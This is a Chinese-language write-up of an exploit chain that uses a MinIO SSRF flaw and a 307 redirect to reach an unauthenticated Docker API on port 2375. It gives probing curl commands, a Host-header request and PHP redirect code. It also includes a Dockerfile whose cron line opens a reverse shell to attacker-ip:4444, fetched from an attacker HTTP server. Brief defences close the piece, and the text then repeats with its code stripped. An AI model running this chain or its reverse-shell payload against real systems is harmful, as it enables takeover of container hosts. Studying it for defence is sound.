307 跳转 getshell
字数 1369 2025-08-22 12:23:30

MinIO SSRF漏洞与Docker API未授权访问结合利用分析

1. 漏洞背景

1.1 MinIO SSRF漏洞

MinIO是一个高性能对象存储服务,在RELEASE.2021-01-30T00-20-58Z之前的版本中存在服务器端请求伪造(SSRF)漏洞。该漏洞源于MinIO会从HTTP头Host中获取地址并构造新的URL,攻击者可以通过控制Host头实现SSRF攻击。

1.2 Docker API未授权访问

Docker Swarm是Docker的集群管理工具,使用标准的Docker API通过2375端口管理节点。当2375端口直接暴露且未做权限检查时,存在未授权访问漏洞,攻击者可执行任意Docker操作,包括获取宿主机权限。

2. 环境搭建

2.1 开启Docker API

# 修改Docker配置
vim /etc/docker/daemon.json
# 添加以下内容
{
  "hosts": ["tcp://0.0.0.0:2375", "unix:///var/run/docker.sock"]
}

# 重启Docker服务
systemctl restart docker

2.2 安装MinIO

docker pull minio/minio:RELEASE.2021-01-30T00-20-58Z
docker run -p 9000:9000 minio/minio server /data

验证环境是否搭建成功:

  • 访问http://your-ip:9000应出现MinIO登录界面
  • 访问http://your-ip:2375/version应返回Docker版本信息

3. 漏洞分析

3.1 MinIO SSRF机制

MinIO在处理请求时:

  1. 从Host头获取"自己的地址"
  2. 使用该地址构造新的URL
  3. 由于未对Host头进行严格验证,导致SSRF漏洞

3.2 Docker API未授权风险

通过未授权的Docker API可以:

  1. 运行任意容器
  2. 挂载宿主机目录
  3. 写入定时任务或SSH密钥
  4. 获取宿主机shell

4. 漏洞利用

4.1 基础探测

# 探测MinIO服务
curl -v http://target:9000

# 探测Docker API
curl http://target:2375/version

4.2 SSRF利用

通过修改Host头实现SSRF:

POST / HTTP/1.1
Host: 127.0.0.1:2375
...

4.3 302跳转限制

传统302跳转会将POST转为GET,无法保持原始请求方法。

4.4 307跳转优势

307跳转特点:

  • 保持原始请求方法(POST/PUT等)
  • 可传递原始请求参数
  • 适用于需要保持请求方法的场景

PHP实现307跳转:

<?php
header("Location: http://127.0.0.1:2375/v1.41/images/create?fromImage=alpine&tag=latest", true, 307);
?>

4.5 Docker API利用链

  1. 通过SSRF访问Docker API
  2. 使用307跳转保持POST方法
  3. 利用Docker API的GET参数创建容器

关键API端点:

/v1.41/images/create?fromImage=alpine&tag=latest

5. 完整攻击流程

5.1 准备恶意Dockerfile

FROM alpine
RUN echo '* * * * * /bin/bash -i >& /dev/tcp/attacker-ip/4444 0>&1' > /var/spool/cron/root

5.2 搭建HTTP服务

将Dockerfile放在Web服务器可访问路径:

python3 -m http.server 8000

5.3 构造307跳转

修改跳转目标为Docker构建API:

<?php
header("Location: http://127.0.0.1:2375/v1.41/build?dockerfile=http://attacker-ip:8000/Dockerfile", true, 307);
?>

5.4 发起攻击

  1. 向MinIO发送恶意请求,Host头指向127.0.0.1:2375
  2. MinIO会向Docker API发起请求
  3. 307跳转保持POST方法并传递构建参数
  4. Docker从攻击者服务器拉取恶意Dockerfile并构建镜像
  5. 镜像运行时写入定时任务
  6. 攻击者监听4444端口获取反弹shell

6. 防御措施

6.1 MinIO防护

  1. 升级到最新版本
  2. 严格验证Host头
  3. 限制内部网络访问

6.2 Docker防护

  1. 禁止Docker API直接暴露在公网
  2. 使用TLS认证
  3. 配置防火墙规则限制访问
  4. 使用网络策略限制容器通信

7. 总结

该利用链结合了:

  1. MinIO的SSRF漏洞实现内网请求
  2. 307跳转保持请求方法
  3. Docker API的GET参数创建功能绕过限制
  4. 通过镜像构建实现命令执行

这种攻击方式展示了如何将看似有限的SSRF漏洞转化为完整的系统入侵,强调了纵深防御的重要性。

MinIO SSRF漏洞与Docker API未授权访问结合利用分析 1. 漏洞背景 1.1 MinIO SSRF漏洞 MinIO是一个高性能对象存储服务,在RELEASE.2021-01-30T00-20-58Z之前的版本中存在服务器端请求伪造(SSRF)漏洞。该漏洞源于MinIO会从HTTP头Host中获取地址并构造新的URL,攻击者可以通过控制Host头实现SSRF攻击。 1.2 Docker API未授权访问 Docker Swarm是Docker的集群管理工具,使用标准的Docker API通过2375端口管理节点。当2375端口直接暴露且未做权限检查时,存在未授权访问漏洞,攻击者可执行任意Docker操作,包括获取宿主机权限。 2. 环境搭建 2.1 开启Docker API 2.2 安装MinIO 验证环境是否搭建成功: 访问http://your-ip:9000应出现MinIO登录界面 访问http://your-ip:2375/version应返回Docker版本信息 3. 漏洞分析 3.1 MinIO SSRF机制 MinIO在处理请求时: 从Host头获取"自己的地址" 使用该地址构造新的URL 由于未对Host头进行严格验证,导致SSRF漏洞 3.2 Docker API未授权风险 通过未授权的Docker API可以: 运行任意容器 挂载宿主机目录 写入定时任务或SSH密钥 获取宿主机shell 4. 漏洞利用 4.1 基础探测 4.2 SSRF利用 通过修改Host头实现SSRF: 4.3 302跳转限制 传统302跳转会将POST转为GET,无法保持原始请求方法。 4.4 307跳转优势 307跳转特点: 保持原始请求方法(POST/PUT等) 可传递原始请求参数 适用于需要保持请求方法的场景 PHP实现307跳转: 4.5 Docker API利用链 通过SSRF访问Docker API 使用307跳转保持POST方法 利用Docker API的GET参数创建容器 关键API端点: 5. 完整攻击流程 5.1 准备恶意Dockerfile 5.2 搭建HTTP服务 将Dockerfile放在Web服务器可访问路径: 5.3 构造307跳转 修改跳转目标为Docker构建API: 5.4 发起攻击 向MinIO发送恶意请求,Host头指向127.0.0.1:2375 MinIO会向Docker API发起请求 307跳转保持POST方法并传递构建参数 Docker从攻击者服务器拉取恶意Dockerfile并构建镜像 镜像运行时写入定时任务 攻击者监听4444端口获取反弹shell 6. 防御措施 6.1 MinIO防护 升级到最新版本 严格验证Host头 限制内部网络访问 6.2 Docker防护 禁止Docker API直接暴露在公网 使用TLS认证 配置防火墙规则限制访问 使用网络策略限制容器通信 7. 总结 该利用链结合了: MinIO的SSRF漏洞实现内网请求 307跳转保持请求方法 Docker API的GET参数创建功能绕过限制 通过镜像构建实现命令执行 这种攻击方式展示了如何将看似有限的SSRF漏洞转化为完整的系统入侵,强调了纵深防御的重要性。